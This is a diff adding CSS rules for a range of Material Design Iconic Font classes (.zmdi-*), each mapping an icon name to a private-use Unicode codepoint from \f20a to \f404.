+.zmdi-accounts-list-alt:before {
+  content: '\f20a';
+}
+.zmdi-accounts-list:before {
+  content: '\f20b';
+}
+.zmdi-accounts-outline:before {
+  content: '\f20c';
+}
+.zmdi-accounts:before {
+  content: '\f20d';
+}
+.zmdi-face:before {
+  content: '\f20e';
+}
+.zmdi-female:before {
+  content: '\f20f';
+}
+.zmdi-male-alt:before {
+  content: '\f210';
+}
+.zmdi-male-female:before {
+  content: '\f211';
+}
+.zmdi-male:before {
+  content: '\f212';
+}
+.zmdi-mood-bad:before {
+  content: '\f213';
+}
+.zmdi-mood:before {
+  content: '\f214';
+}
+.zmdi-run:before {
+  content: '\f215';
+}
+.zmdi-walk:before {
+  content: '\f216';
+}
+.zmdi-cloud-box:before {
+  content: '\f217';
+}
+.zmdi-cloud-circle:before {
+  content: '\f218';
+}
+.zmdi-cloud-done:before {
+  content: '\f219';
+}
+.zmdi-cloud-download:before {
+  content: '\f21a';
+}
+.zmdi-cloud-off:before {
+  content: '\f21b';
+}
+.zmdi-cloud-outline-alt:before {
+  content: '\f21c';
+}
+.zmdi-cloud-outline:before {
+  content: '\f21d';
+}
+.zmdi-cloud-upload:before {
+  content: '\f21e';
+}
+.zmdi-cloud:before {
+  content: '\f21f';
+}
+.zmdi-download:before {
+  content: '\f220';
+}
+.zmdi-file-plus:before {
+  content: '\f221';
+}
+.zmdi-file-text:before {
+  content: '\f222';
+}
+.zmdi-file:before {
+  content: '\f223';
+}
+.zmdi-folder-outline:before {
+  content: '\f224';
+}
+.zmdi-folder-person:before {
+  content: '\f225';
+}
+.zmdi-folder-star-alt:before {
+  content: '\f226';
+}
+.zmdi-folder-star:before {
+  content: '\f227';
+}
+.zmdi-folder:before {
+  content: '\f228';
+}
+.zmdi-gif:before {
+  content: '\f229';
+}
+.zmdi-upload:before {
+  content: '\f22a';
+}
+.zmdi-border-all:before {
+  content: '\f22b';
+}
+.zmdi-border-bottom:before {
+  content: '\f22c';
+}
+.zmdi-border-clear:before {
+  content: '\f22d';
+}
+.zmdi-border-color:before {
+  content: '\f22e';
+}
+.zmdi-border-horizontal:before {
+  content: '\f22f';
+}
+.zmdi-border-inner:before {
+  content: '\f230';
+}
+.zmdi-border-left:before {
+  content: '\f231';
+}
+.zmdi-border-outer:before {
+  content: '\f232';
+}
+.zmdi-border-right:before {
+  content: '\f233';
+}
+.zmdi-border-style:before {
+  content: '\f234';
+}
+.zmdi-border-top:before {
+  content: '\f235';
+}
+.zmdi-border-vertical:before {
+  content: '\f236';
+}
+.zmdi-copy:before {
+  content: '\f237';
+}
+.zmdi-crop:before {
+  content: '\f238';
+}
+.zmdi-format-align-center:before {
+  content: '\f239';
+}
+.zmdi-format-align-justify:before {
+  content: '\f23a';
+}
+.zmdi-format-align-left:before {
+  content: '\f23b';
+}
+.zmdi-format-align-right:before {
+  content: '\f23c';
+}
+.zmdi-format-bold:before {
+  content: '\f23d';
+}
+.zmdi-format-clear-all:before {
+  content: '\f23e';
+}
+.zmdi-format-clear:before {
+  content: '\f23f';
+}
+.zmdi-format-color-fill:before {
+  content: '\f240';
+}
+.zmdi-format-color-reset:before {
+  content: '\f241';
+}
+.zmdi-format-color-text:before {
+  content: '\f242';
+}
+.zmdi-format-indent-decrease:before {
+  content: '\f243';
+}
+.zmdi-format-indent-increase:before {
+  content: '\f244';
+}
+.zmdi-format-italic:before {
+  content: '\f245';
+}
+.zmdi-format-line-spacing:before {
+  content: '\f246';
+}
+.zmdi-format-list-bulleted:before {
+  content: '\f247';
+}
+.zmdi-format-list-numbered:before {
+  content: '\f248';
+}
+.zmdi-format-ltr:before {
+  content: '\f249';
+}
+.zmdi-format-rtl:before {
+  content: '\f24a';
+}
+.zmdi-format-size:before {
+  content: '\f24b';
+}
+.zmdi-format-strikethrough-s:before {
+  content: '\f24c';
+}
+.zmdi-format-strikethrough:before {
+  content: '\f24d';
+}
+.zmdi-format-subject:before {
+  content: '\f24e';
+}
+.zmdi-format-underlined:before {
+  content: '\f24f';
+}
+.zmdi-format-valign-bottom:before {
+  content: '\f250';
+}
+.zmdi-format-valign-center:before {
+  content: '\f251';
+}
+.zmdi-format-valign-top:before {
+  content: '\f252';
+}
+.zmdi-redo:before {
+  content: '\f253';
+}
+.zmdi-select-all:before {
+  content: '\f254';
+}
+.zmdi-space-bar:before {
+  content: '\f255';
+}
+.zmdi-text-format:before {
+  content: '\f256';
+}
+.zmdi-transform:before {
+  content: '\f257';
+}
+.zmdi-undo:before {
+  content: '\f258';
+}
+.zmdi-wrap-text:before {
+  content: '\f259';
+}
+.zmdi-comment-alert:before {
+  content: '\f25a';
+}
+.zmdi-comment-alt-text:before {
+  content: '\f25b';
+}
+.zmdi-comment-alt:before {
+  content: '\f25c';
+}
+.zmdi-comment-edit:before {
+  content: '\f25d';
+}
+.zmdi-comment-image:before {
+  content: '\f25e';
+}
+.zmdi-comment-list:before {
+  content: '\f25f';
+}
+.zmdi-comment-more:before {
+  content: '\f260';
+}
+.zmdi-comment-outline:before {
+  content: '\f261';
+}
+.zmdi-comment-text-alt:before {
+  content: '\f262';
+}
+.zmdi-comment-text:before {
+  content: '\f263';
+}
+.zmdi-comment-video:before {
+  content: '\f264';
+}
+.zmdi-comment:before {
+  content: '\f265';
+}
+.zmdi-comments:before {
+  content: '\f266';
+}
+.zmdi-check-all:before {
+  content: '\f267';
+}
+.zmdi-check-circle-u:before {
+  content: '\f268';
+}
+.zmdi-check-circle:before {
+  content: '\f269';
+}
+.zmdi-check-square:before {
+  content: '\f26a';
+}
+.zmdi-check:before {
+  content: '\f26b';
+}
+.zmdi-circle-o:before {
+  content: '\f26c';
+}
+.zmdi-circle:before {
+  content: '\f26d';
+}
+.zmdi-dot-circle-alt:before {
+  content: '\f26e';
+}
+.zmdi-dot-circle:before {
+  content: '\f26f';
+}
+.zmdi-minus-circle-outline:before {
+  content: '\f270';
+}
+.zmdi-minus-circle:before {
+  content: '\f271';
+}
+.zmdi-minus-square:before {
+  content: '\f272';
+}
+.zmdi-minus:before {
+  content: '\f273';
+}
+.zmdi-plus-circle-o-duplicate:before {
+  content: '\f274';
+}
+.zmdi-plus-circle-o:before {
+  content: '\f275';
+}
+.zmdi-plus-circle:before {
+  content: '\f276';
+}
+.zmdi-plus-square:before {
+  content: '\f277';
+}
+.zmdi-plus:before {
+  content: '\f278';
+}
+.zmdi-square-o:before {
+  content: '\f279';
+}
+.zmdi-star-circle:before {
+  content: '\f27a';
+}
+.zmdi-star-half:before {
+  content: '\f27b';
+}
+.zmdi-star-outline:before {
+  content: '\f27c';
+}
+.zmdi-star:before {
+  content: '\f27d';
+}
+.zmdi-bluetooth-connected:before {
+  content: '\f27e';
+}
+.zmdi-bluetooth-off:before {
+  content: '\f27f';
+}
+.zmdi-bluetooth-search:before {
+  content: '\f280';
+}
+.zmdi-bluetooth-setting:before {
+  content: '\f281';
+}
+.zmdi-bluetooth:before {
+  content: '\f282';
+}
+.zmdi-camera-add:before {
+  content: '\f283';
+}
+.zmdi-camera-alt:before {
+  content: '\f284';
+}
+.zmdi-camera-bw:before {
+  content: '\f285';
+}
+.zmdi-camera-front:before {
+  content: '\f286';
+}
+.zmdi-camera-mic:before {
+  content: '\f287';
+}
+.zmdi-camera-party-mode:before {
+  content: '\f288';
+}
+.zmdi-camera-rear:before {
+  content: '\f289';
+}
+.zmdi-camera-roll:before {
+  content: '\f28a';
+}
+.zmdi-camera-switch:before {
+  content: '\f28b';
+}
+.zmdi-camera:before {
+  content: '\f28c';
+}
+.zmdi-card-alert:before {
+  content: '\f28d';
+}
+.zmdi-card-off:before {
+  content: '\f28e';
+}
+.zmdi-card-sd:before {
+  content: '\f28f';
+}
+.zmdi-card-sim:before {
+  content: '\f290';
+}
+.zmdi-desktop-mac:before {
+  content: '\f291';
+}
+.zmdi-desktop-windows:before {
+  content: '\f292';
+}
+.zmdi-device-hub:before {
+  content: '\f293';
+}
+.zmdi-devices-off:before {
+  content: '\f294';
+}
+.zmdi-devices:before {
+  content: '\f295';
+}
+.zmdi-dock:before {
+  content: '\f296';
+}
+.zmdi-floppy:before {
+  content: '\f297';
+}
+.zmdi-gamepad:before {
+  content: '\f298';
+}
+.zmdi-gps-dot:before {
+  content: '\f299';
+}
+.zmdi-gps-off:before {
+  content: '\f29a';
+}
+.zmdi-gps:before {
+  content: '\f29b';
+}
+.zmdi-headset-mic:before {
+  content: '\f29c';
+}
+.zmdi-headset:before {
+  content: '\f29d';
+}
+.zmdi-input-antenna:before {
+  content: '\f29e';
+}
+.zmdi-input-composite:before {
+  content: '\f29f';
+}
+.zmdi-input-hdmi:before {
+  content: '\f2a0';
+}
+.zmdi-input-power:before {
+  content: '\f2a1';
+}
+.zmdi-input-svideo:before {
+  content: '\f2a2';
+}
+.zmdi-keyboard-hide:before {
+  content: '\f2a3';
+}
+.zmdi-keyboard:before {
+  content: '\f2a4';
+}
+.zmdi-laptop-chromebook:before {
+  content: '\f2a5';
+}
+.zmdi-laptop-mac:before {
+  content: '\f2a6';
+}
+.zmdi-laptop:before {
+  content: '\f2a7';
+}
+.zmdi-mic-off:before {
+  content: '\f2a8';
+}
+.zmdi-mic-outline:before {
+  content: '\f2a9';
+}
+.zmdi-mic-setting:before {
+  content: '\f2aa';
+}
+.zmdi-mic:before {
+  content: '\f2ab';
+}
+.zmdi-mouse:before {
+  content: '\f2ac';
+}
+.zmdi-network-alert:before {
+  content: '\f2ad';
+}
+.zmdi-network-locked:before {
+  content: '\f2ae';
+}
+.zmdi-network-off:before {
+  content: '\f2af';
+}
+.zmdi-network-outline:before {
+  content: '\f2b0';
+}
+.zmdi-network-setting:before {
+  content: '\f2b1';
+}
+.zmdi-network:before {
+  content: '\f2b2';
+}
+.zmdi-phone-bluetooth:before {
+  content: '\f2b3';
+}
+.zmdi-phone-end:before {
+  content: '\f2b4';
+}
+.zmdi-phone-forwarded:before {
+  content: '\f2b5';
+}
+.zmdi-phone-in-talk:before {
+  content: '\f2b6';
+}
+.zmdi-phone-locked:before {
+  content: '\f2b7';
+}
+.zmdi-phone-missed:before {
+  content: '\f2b8';
+}
+.zmdi-phone-msg:before {
+  content: '\f2b9';
+}
+.zmdi-phone-paused:before {
+  content: '\f2ba';
+}
+.zmdi-phone-ring:before {
+  content: '\f2bb';
+}
+.zmdi-phone-setting:before {
+  content: '\f2bc';
+}
+.zmdi-phone-sip:before {
+  content: '\f2bd';
+}
+.zmdi-phone:before {
+  content: '\f2be';
+}
+.zmdi-portable-wifi-changes:before {
+  content: '\f2bf';
+}
+.zmdi-portable-wifi-off:before {
+  content: '\f2c0';
+}
+.zmdi-portable-wifi:before {
+  content: '\f2c1';
+}
+.zmdi-radio:before {
+  content: '\f2c2';
+}
+.zmdi-reader:before {
+  content: '\f2c3';
+}
+.zmdi-remote-control-alt:before {
+  content: '\f2c4';
+}
+.zmdi-remote-control:before {
+  content: '\f2c5';
+}
+.zmdi-router:before {
+  content: '\f2c6';
+}
+.zmdi-scanner:before {
+  content: '\f2c7';
+}
+.zmdi-smartphone-android:before {
+  content: '\f2c8';
+}
+.zmdi-smartphone-download:before {
+  content: '\f2c9';
+}
+.zmdi-smartphone-erase:before {
+  content: '\f2ca';
+}
+.zmdi-smartphone-info:before {
+  content: '\f2cb';
+}
+.zmdi-smartphone-iphone:before {
+  content: '\f2cc';
+}
+.zmdi-smartphone-landscape-lock:before {
+  content: '\f2cd';
+}
+.zmdi-smartphone-landscape:before {
+  content: '\f2ce';
+}
+.zmdi-smartphone-lock:before {
+  content: '\f2cf';
+}
+.zmdi-smartphone-portrait-lock:before {
+  content: '\f2d0';
+}
+.zmdi-smartphone-ring:before {
+  content: '\f2d1';
+}
+.zmdi-smartphone-setting:before {
+  content: '\f2d2';
+}
+.zmdi-smartphone-setup:before {
+  content: '\f2d3';
+}
+.zmdi-smartphone:before {
+  content: '\f2d4';
+}
+.zmdi-speaker:before {
+  content: '\f2d5';
+}
+.zmdi-tablet-android:before {
+  content: '\f2d6';
+}
+.zmdi-tablet-mac:before {
+  content: '\f2d7';
+}
+.zmdi-tablet:before {
+  content: '\f2d8';
+}
+.zmdi-tv-alt-play:before {
+  content: '\f2d9';
+}
+.zmdi-tv-list:before {
+  content: '\f2da';
+}
+.zmdi-tv-play:before {
+  content: '\f2db';
+}
+.zmdi-tv:before {
+  content: '\f2dc';
+}
+.zmdi-usb:before {
+  content: '\f2dd';
+}
+.zmdi-videocam-off:before {
+  content: '\f2de';
+}
+.zmdi-videocam-switch:before {
+  content: '\f2df';
+}
+.zmdi-videocam:before {
+  content: '\f2e0';
+}
+.zmdi-watch:before {
+  content: '\f2e1';
+}
+.zmdi-wifi-alt-2:before {
+  content: '\f2e2';
+}
+.zmdi-wifi-alt:before {
+  content: '\f2e3';
+}
+.zmdi-wifi-info:before {
+  content: '\f2e4';
+}
+.zmdi-wifi-lock:before {
+  content: '\f2e5';
+}
+.zmdi-wifi-off:before {
+  content: '\f2e6';
+}
+.zmdi-wifi-outline:before {
+  content: '\f2e7';
+}
+.zmdi-wifi:before {
+  content: '\f2e8';
+}
+.zmdi-arrow-left-bottom:before {
+  content: '\f2e9';
+}
+.zmdi-arrow-left:before {
+  content: '\f2ea';
+}
+.zmdi-arrow-merge:before {
+  content: '\f2eb';
+}
+.zmdi-arrow-missed:before {
+  content: '\f2ec';
+}
+.zmdi-arrow-right-top:before {
+  content: '\f2ed';
+}
+.zmdi-arrow-right:before {
+  content: '\f2ee';
+}
+.zmdi-arrow-split:before {
+  content: '\f2ef';
+}
+.zmdi-arrows:before {
+  content: '\f2f0';
+}
+.zmdi-caret-down-circle:before {
+  content: '\f2f1';
+}
+.zmdi-caret-down:before {
+  content: '\f2f2';
+}
+.zmdi-caret-left-circle:before {
+  content: '\f2f3';
+}
+.zmdi-caret-left:before {
+  content: '\f2f4';
+}
+.zmdi-caret-right-circle:before {
+  content: '\f2f5';
+}
+.zmdi-caret-right:before {
+  content: '\f2f6';
+}
+.zmdi-caret-up-circle:before {
+  content: '\f2f7';
+}
+.zmdi-caret-up:before {
+  content: '\f2f8';
+}
+.zmdi-chevron-down:before {
+  content: '\f2f9';
+}
+.zmdi-chevron-left:before {
+  content: '\f2fa';
+}
+.zmdi-chevron-right:before {
+  content: '\f2fb';
+}
+.zmdi-chevron-up:before {
+  content: '\f2fc';
+}
+.zmdi-forward:before {
+  content: '\f2fd';
+}
+.zmdi-long-arrow-down:before {
+  content: '\f2fe';
+}
+.zmdi-long-arrow-left:before {
+  content: '\f2ff';
+}
+.zmdi-long-arrow-return:before {
+  content: '\f300';
+}
+.zmdi-long-arrow-right:before {
+  content: '\f301';
+}
+.zmdi-long-arrow-tab:before {
+  content: '\f302';
+}
+.zmdi-long-arrow-up:before {
+  content: '\f303';
+}
+.zmdi-rotate-ccw:before {
+  content: '\f304';
+}
+.zmdi-rotate-cw:before {
+  content: '\f305';
+}
+.zmdi-rotate-left:before {
+  content: '\f306';
+}
+.zmdi-rotate-right:before {
+  content: '\f307';
+}
+.zmdi-square-down:before {
+  content: '\f308';
+}
+.zmdi-square-right:before {
+  content: '\f309';
+}
+.zmdi-swap-alt:before {
+  content: '\f30a';
+}
+.zmdi-swap-vertical-circle:before {
+  content: '\f30b';
+}
+.zmdi-swap-vertical:before {
+  content: '\f30c';
+}
+.zmdi-swap:before {
+  content: '\f30d';
+}
+.zmdi-trending-down:before {
+  content: '\f30e';
+}
+.zmdi-trending-flat:before {
+  content: '\f30f';
+}
+.zmdi-trending-up:before {
+  content: '\f310';
+}
+.zmdi-unfold-less:before {
+  content: '\f311';
+}
+.zmdi-unfold-more:before {
+  content: '\f312';
+}
+.zmdi-apps:before {
+  content: '\f313';
+}
+.zmdi-grid-off:before {
+  content: '\f314';
+}
+.zmdi-grid:before {
+  content: '\f315';
+}
+.zmdi-view-agenda:before {
+  content: '\f316';
+}
+.zmdi-view-array:before {
+  content: '\f317';
+}
+.zmdi-view-carousel:before {
+  content: '\f318';
+}
+.zmdi-view-column:before {
+  content: '\f319';
+}
+.zmdi-view-comfy:before {
+  content: '\f31a';
+}
+.zmdi-view-compact:before {
+  content: '\f31b';
+}
+.zmdi-view-dashboard:before {
+  content: '\f31c';
+}
+.zmdi-view-day:before {
+  content: '\f31d';
+}
+.zmdi-view-headline:before {
+  content: '\f31e';
+}
+.zmdi-view-list-alt:before {
+  content: '\f31f';
+}
+.zmdi-view-list:before {
+  content: '\f320';
+}
+.zmdi-view-module:before {
+  content: '\f321';
+}
+.zmdi-view-quilt:before {
+  content: '\f322';
+}
+.zmdi-view-stream:before {
+  content: '\f323';
+}
+.zmdi-view-subtitles:before {
+  content: '\f324';
+}
+.zmdi-view-toc:before {
+  content: '\f325';
+}
+.zmdi-view-web:before {
+  content: '\f326';
+}
+.zmdi-view-week:before {
+  content: '\f327';
+}
+.zmdi-widgets:before {
+  content: '\f328';
+}
+.zmdi-alarm-check:before {
+  content: '\f329';
+}
+.zmdi-alarm-off:before {
+  content: '\f32a';
+}
+.zmdi-alarm-plus:before {
+  content: '\f32b';
+}
+.zmdi-alarm-snooze:before {
+  content: '\f32c';
+}
+.zmdi-alarm:before {
+  content: '\f32d';
+}
+.zmdi-calendar-alt:before {
+  content: '\f32e';
+}
+.zmdi-calendar-check:before {
+  content: '\f32f';
+}
+.zmdi-calendar-close:before {
+  content: '\f330';
+}
+.zmdi-calendar-note:before {
+  content: '\f331';
+}
+.zmdi-calendar:before {
+  content: '\f332';
+}
+.zmdi-time-countdown:before {
+  content: '\f333';
+}
+.zmdi-time-interval:before {
+  content: '\f334';
+}
+.zmdi-time-restore-setting:before {
+  content: '\f335';
+}
+.zmdi-time-restore:before {
+  content: '\f336';
+}
+.zmdi-time:before {
+  content: '\f337';
+}
+.zmdi-timer-off:before {
+  content: '\f338';
+}
+.zmdi-timer:before {
+  content: '\f339';
+}
+.zmdi-android-alt:before {
+  content: '\f33a';
+}
+.zmdi-android:before {
+  content: '\f33b';
+}
+.zmdi-apple:before {
+  content: '\f33c';
+}
+.zmdi-behance:before {
+  content: '\f33d';
+}
+.zmdi-codepen:before {
+  content: '\f33e';
+}
+.zmdi-dribbble:before {
+  content: '\f33f';
+}
+.zmdi-dropbox:before {
+  content: '\f340';
+}
+.zmdi-evernote:before {
+  content: '\f341';
+}
+.zmdi-facebook-box:before {
+  content: '\f342';
+}
+.zmdi-facebook:before {
+  content: '\f343';
+}
+.zmdi-github-box:before {
+  content: '\f344';
+}
+.zmdi-github:before {
+  content: '\f345';
+}
+.zmdi-google-drive:before {
+  content: '\f346';
+}
+.zmdi-google-earth:before {
+  content: '\f347';
+}
+.zmdi-google-glass:before {
+  content: '\f348';
+}
+.zmdi-google-maps:before {
+  content: '\f349';
+}
+.zmdi-google-pages:before {
+  content: '\f34a';
+}
+.zmdi-google-play:before {
+  content: '\f34b';
+}
+.zmdi-google-plus-box:before {
+  content: '\f34c';
+}
+.zmdi-google-plus:before {
+  content: '\f34d';
+}
+.zmdi-google:before {
+  content: '\f34e';
+}
+.zmdi-instagram:before {
+  content: '\f34f';
+}
+.zmdi-language-css3:before {
+  content: '\f350';
+}
+.zmdi-language-html5:before {
+  content: '\f351';
+}
+.zmdi-language-javascript:before {
+  content: '\f352';
+}
+.zmdi-language-python-alt:before {
+  content: '\f353';
+}
+.zmdi-language-python:before {
+  content: '\f354';
+}
+.zmdi-lastfm:before {
+  content: '\f355';
+}
+.zmdi-linkedin-box:before {
+  content: '\f356';
+}
+.zmdi-paypal:before {
+  content: '\f357';
+}
+.zmdi-pinterest-box:before {
+  content: '\f358';
+}
+.zmdi-pocket:before {
+  content: '\f359';
+}
+.zmdi-polymer:before {
+  content: '\f35a';
+}
+.zmdi-share:before {
+  content: '\f35b';
+}
+.zmdi-stackoverflow:before {
+  content: '\f35c';
+}
+.zmdi-steam-square:before {
+  content: '\f35d';
+}
+.zmdi-steam:before {
+  content: '\f35e';
+}
+.zmdi-twitter-box:before {
+  content: '\f35f';
+}
+.zmdi-twitter:before {
+  content: '\f360';
+}
+.zmdi-vk:before {
+  content: '\f361';
+}
+.zmdi-wikipedia:before {
+  content: '\f362';
+}
+.zmdi-windows:before {
+  content: '\f363';
+}
+.zmdi-aspect-ratio-alt:before {
+  content: '\f364';
+}
+.zmdi-aspect-ratio:before {
+  content: '\f365';
+}
+.zmdi-blur-circular:before {
+  content: '\f366';
+}
+.zmdi-blur-linear:before {
+  content: '\f367';
+}
+.zmdi-blur-off:before {
+  content: '\f368';
+}
+.zmdi-blur:before {
+  content: '\f369';
+}
+.zmdi-brightness-2:before {
+  content: '\f36a';
+}
+.zmdi-brightness-3:before {
+  content: '\f36b';
+}
+.zmdi-brightness-4:before {
+  content: '\f36c';
+}
+.zmdi-brightness-5:before {
+  content: '\f36d';
+}
+.zmdi-brightness-6:before {
+  content: '\f36e';
+}
+.zmdi-brightness-7:before {
+  content: '\f36f';
+}
+.zmdi-brightness-auto:before {
+  content: '\f370';
+}
+.zmdi-brightness-setting:before {
+  content: '\f371';
+}
+.zmdi-broken-image:before {
+  content: '\f372';
+}
+.zmdi-center-focus-strong:before {
+  content: '\f373';
+}
+.zmdi-center-focus-weak:before {
+  content: '\f374';
+}
+.zmdi-compare:before {
+  content: '\f375';
+}
+.zmdi-crop-16-9:before {
+  content: '\f376';
+}
+.zmdi-crop-3-2:before {
+  content: '\f377';
+}
+.zmdi-crop-5-4:before {
+  content: '\f378';
+}
+.zmdi-crop-7-5:before {
+  content: '\f379';
+}
+.zmdi-crop-din:before {
+  content: '\f37a';
+}
+.zmdi-crop-free:before {
+  content: '\f37b';
+}
+.zmdi-crop-landscape:before {
+  content: '\f37c';
+}
+.zmdi-crop-portrait:before {
+  content: '\f37d';
+}
+.zmdi-crop-square:before {
+  content: '\f37e';
+}
+.zmdi-exposure-alt:before {
+  content: '\f37f';
+}
+.zmdi-exposure:before {
+  content: '\f380';
+}
+.zmdi-filter-b-and-w:before {
+  content: '\f381';
+}
+.zmdi-filter-center-focus:before {
+  content: '\f382';
+}
+.zmdi-filter-frames:before {
+  content: '\f383';
+}
+.zmdi-filter-tilt-shift:before {
+  content: '\f384';
+}
+.zmdi-gradient:before {
+  content: '\f385';
+}
+.zmdi-grain:before {
+  content: '\f386';
+}
+.zmdi-graphic-eq:before {
+  content: '\f387';
+}
+.zmdi-hdr-off:before {
+  content: '\f388';
+}
+.zmdi-hdr-strong:before {
+  content: '\f389';
+}
+.zmdi-hdr-weak:before {
+  content: '\f38a';
+}
+.zmdi-hdr:before {
+  content: '\f38b';
+}
+.zmdi-iridescent:before {
+  content: '\f38c';
+}
+.zmdi-leak-off:before {
+  content: '\f38d';
+}
+.zmdi-leak:before {
+  content: '\f38e';
+}
+.zmdi-looks:before {
+  content: '\f38f';
+}
+.zmdi-loupe:before {
+  content: '\f390';
+}
+.zmdi-panorama-horizontal:before {
+  content: '\f391';
+}
+.zmdi-panorama-vertical:before {
+  content: '\f392';
+}
+.zmdi-panorama-wide-angle:before {
+  content: '\f393';
+}
+.zmdi-photo-size-select-large:before {
+  content: '\f394';
+}
+.zmdi-photo-size-select-small:before {
+  content: '\f395';
+}
+.zmdi-picture-in-picture:before {
+  content: '\f396';
+}
+.zmdi-slideshow:before {
+  content: '\f397';
+}
+.zmdi-texture:before {
+  content: '\f398';
+}
+.zmdi-tonality:before {
+  content: '\f399';
+}
+.zmdi-vignette:before {
+  content: '\f39a';
+}
+.zmdi-wb-auto:before {
+  content: '\f39b';
+}
+.zmdi-eject-alt:before {
+  content: '\f39c';
+}
+.zmdi-eject:before {
+  content: '\f39d';
+}
+.zmdi-equalizer:before {
+  content: '\f39e';
+}
+.zmdi-fast-forward:before {
+  content: '\f39f';
+}
+.zmdi-fast-rewind:before {
+  content: '\f3a0';
+}
+.zmdi-forward-10:before {
+  content: '\f3a1';
+}
+.zmdi-forward-30:before {
+  content: '\f3a2';
+}
+.zmdi-forward-5:before {
+  content: '\f3a3';
+}
+.zmdi-hearing:before {
+  content: '\f3a4';
+}
+.zmdi-pause-circle-outline:before {
+  content: '\f3a5';
+}
+.zmdi-pause-circle:before {
+  content: '\f3a6';
+}
+.zmdi-pause:before {
+  content: '\f3a7';
+}
+.zmdi-play-circle-outline:before {
+  content: '\f3a8';
+}
+.zmdi-play-circle:before {
+  content: '\f3a9';
+}
+.zmdi-play:before {
+  content: '\f3aa';
+}
+.zmdi-playlist-audio:before {
+  content: '\f3ab';
+}
+.zmdi-playlist-plus:before {
+  content: '\f3ac';
+}
+.zmdi-repeat-one:before {
+  content: '\f3ad';
+}
+.zmdi-repeat:before {
+  content: '\f3ae';
+}
+.zmdi-replay-10:before {
+  content: '\f3af';
+}
+.zmdi-replay-30:before {
+  content: '\f3b0';
+}
+.zmdi-replay-5:before {
+  content: '\f3b1';
+}
+.zmdi-replay:before {
+  content: '\f3b2';
+}
+.zmdi-shuffle:before {
+  content: '\f3b3';
+}
+.zmdi-skip-next:before {
+  content: '\f3b4';
+}
+.zmdi-skip-previous:before {
+  content: '\f3b5';
+}
+.zmdi-stop:before {
+  content: '\f3b6';
+}
+.zmdi-surround-sound:before {
+  content: '\f3b7';
+}
+.zmdi-tune:before {
+  content: '\f3b8';
+}
+.zmdi-volume-down:before {
+  content: '\f3b9';
+}
+.zmdi-volume-mute:before {
+  content: '\f3ba';
+}
+.zmdi-volume-off:before {
+  content: '\f3bb';
+}
+.zmdi-volume-up:before {
+  content: '\f3bc';
+}
+.zmdi-n-1-square:before {
+  content: '\f3bd';
+}
+.zmdi-n-2-square:before {
+  content: '\f3be';
+}
+.zmdi-n-3-square:before {
+  content: '\f3bf';
+}
+.zmdi-n-4-square:before {
+  content: '\f3c0';
+}
+.zmdi-n-5-square:before {
+  content: '\f3c1';
+}
+.zmdi-n-6-square:before {
+  content: '\f3c2';
+}
+.zmdi-neg-1:before {
+  content: '\f3c3';
+}
+.zmdi-neg-2:before {
+  content: '\f3c4';
+}
+.zmdi-plus-1:before {
+  content: '\f3c5';
+}
+.zmdi-plus-2:before {
+  content: '\f3c6';
+}
+.zmdi-sec-10:before {
+  content: '\f3c7';
+}
+.zmdi-sec-3:before {
+  content: '\f3c8';
+}
+.zmdi-zero:before {
+  content: '\f3c9';
+}
+.zmdi-airline-seat-flat-angled:before {
+  content: '\f3ca';
+}
+.zmdi-airline-seat-flat:before {
+  content: '\f3cb';
+}
+.zmdi-airline-seat-individual-suite:before {
+  content: '\f3cc';
+}
+.zmdi-airline-seat-legroom-extra:before {
+  content: '\f3cd';
+}
+.zmdi-airline-seat-legroom-normal:before {
+  content: '\f3ce';
+}
+.zmdi-airline-seat-legroom-reduced:before {
+  content: '\f3cf';
+}
+.zmdi-airline-seat-recline-extra:before {
+  content: '\f3d0';
+}
+.zmdi-airline-seat-recline-normal:before {
+  content: '\f3d1';
+}
+.zmdi-airplay:before {
+  content: '\f3d2';
+}
+.zmdi-closed-caption:before {
+  content: '\f3d3';
+}
+.zmdi-confirmation-number:before {
+  content: '\f3d4';
+}
+.zmdi-developer-board:before {
+  content: '\f3d5';
+}
+.zmdi-disc-full:before {
+  content: '\f3d6';
+}
+.zmdi-explicit:before {
+  content: '\f3d7';
+}
+.zmdi-flight-land:before {
+  content: '\f3d8';
+}
+.zmdi-flight-takeoff:before {
+  content: '\f3d9';
+}
+.zmdi-flip-to-back:before {
+  content: '\f3da';
+}
+.zmdi-flip-to-front:before {
+  content: '\f3db';
+}
+.zmdi-group-work:before {
+  content: '\f3dc';
+}
+.zmdi-hd:before {
+  content: '\f3dd';
+}
+.zmdi-hq:before {
+  content: '\f3de';
+}
+.zmdi-markunread-mailbox:before {
+  content: '\f3df';
+}
+.zmdi-memory:before {
+  content: '\f3e0';
+}
+.zmdi-nfc:before {
+  content: '\f3e1';
+}
+.zmdi-play-for-work:before {
+  content: '\f3e2';
+}
+.zmdi-power-input:before {
+  content: '\f3e3';
+}
+.zmdi-present-to-all:before {
+  content: '\f3e4';
+}
+.zmdi-satellite:before {
+  content: '\f3e5';
+}
+.zmdi-tap-and-play:before {
+  content: '\f3e6';
+}
+.zmdi-vibration:before {
+  content: '\f3e7';
+}
+.zmdi-voicemail:before {
+  content: '\f3e8';
+}
+.zmdi-group:before {
+  content: '\f3e9';
+}
+.zmdi-rss:before {
+  content: '\f3ea';
+}
+.zmdi-shape:before {
+  content: '\f3eb';
+}
+.zmdi-spinner:before {
+  content: '\f3ec';
+}
+.zmdi-ungroup:before {
+  content: '\f3ed';
+}
+.zmdi-500px:before {
+  content: '\f3ee';
+}
+.zmdi-8tracks:before {
+  content: '\f3ef';
+}
+.zmdi-amazon:before {
+  content: '\f3f0';
+}
+.zmdi-blogger:before {
+  content: '\f3f1';
+}
+.zmdi-delicious:before {
+  content: '\f3f2';
+}
+.zmdi-disqus:before {
+  content: '\f3f3';
+}
+.zmdi-flattr:before {
+  content: '\f3f4';
+}
+.zmdi-flickr:before {
+  content: '\f3f5';
+}
+.zmdi-github-alt:before {
+  content: '\f3f6';
+}
+.zmdi-google-old:before {
+  content: '\f3f7';
+}
+.zmdi-linkedin:before {
+  content: '\f3f8';
+}
+.zmdi-odnoklassniki:before {
+  content: '\f3f9';
+}
+.zmdi-outlook:before {
+  content: '\f3fa';
+}
+.zmdi-paypal-alt:before {
+  content: '\f3fb';
+}
+.zmdi-pinterest:before {
+  content: '\f3fc';
+}
+.zmdi-playstation:before {
+  content: '\f3fd';
+}
+.zmdi-reddit:before {
+  content: '\f3fe';
+}
+.zmdi-skype:before {
+  content: '\f3ff';
+}
+.zmdi-slideshare:before {
+  content: '\f400';
+}
+.zmdi-soundcloud:before {
+  content: '\f401';
+}
+.zmdi-tumblr:before {
+  content: '\f402';
+}
+.zmdi-twitch:before {
+  content: '\f403';
+}
+.zmdi-vimeo:before {
+  content: '\f404';
+}
